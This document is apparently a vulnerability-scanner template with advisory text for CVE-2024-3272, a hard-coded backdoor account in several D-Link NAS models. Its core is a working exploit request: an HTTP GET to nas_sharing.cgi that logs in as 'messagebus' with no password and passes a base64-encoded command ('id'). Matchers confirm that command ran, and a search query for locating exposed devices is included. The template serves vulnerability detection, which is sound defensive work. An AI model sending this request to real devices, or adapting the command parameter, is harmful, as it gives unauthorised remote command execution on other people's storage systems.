A vulnerability, which was classified as very critical, has been found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. This issue affects some unknown processing of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument user with the input messagebus leads to hard-coded credentials.
PoC
id: CVE-2024-3272
info:
name: D-Link Network Attached Storage - Backdoor Account
author: ritikchaddha
severity: critical
description: |
A vulnerability, which was classified as very critical, has been found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. This issue affects some unknown processing of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument user with the input messagebus leads to hard-coded credentials.
impact: |
Attackers can use hardcoded credentials to gain unauthorized access to D-Link NAS devices and execute commands.
remediation: |
Update D-Link NAS firmware to a version that removes the backdoor account.
reference:
- https://github.com/netsecfish/dlink
- https://nvd.nist.gov/vuln/detail/cve-2024-3272
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-3272
cwe-id: CWE-77
cpe: cpe:2.3:o:dlink:dns-320l_firmware:-:*:*:*:*:*:*:*
epss-score: 0.98038
epss-percentile: 0.99907
metadata:
verified: true
max-request: 1
vendor: dlink
product: "dns-320l_firmware"
fofa-query: app="D_Link-DNS-ShareCenter"
tags: cve,cve2024,dlink,nas,kev,vkev,vuln
http:
- raw:
- |+
GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ= HTTP/1.1
Host: {{Hostname}}
unsafe: true
matchers-condition: and
matchers:
- type: word
words:
- "<auth_state>1</auth_state>"
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
- type: status
status:
- 200
# digest: 4a0a00473045022100e0a80c12ee57590e618339876eb826d633bb6340aa63b763a316839f50697fd802205fd51089dcfa0ce042755675e5e81f2af60ed48e4f6bab16e2b03756ba5dc308:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.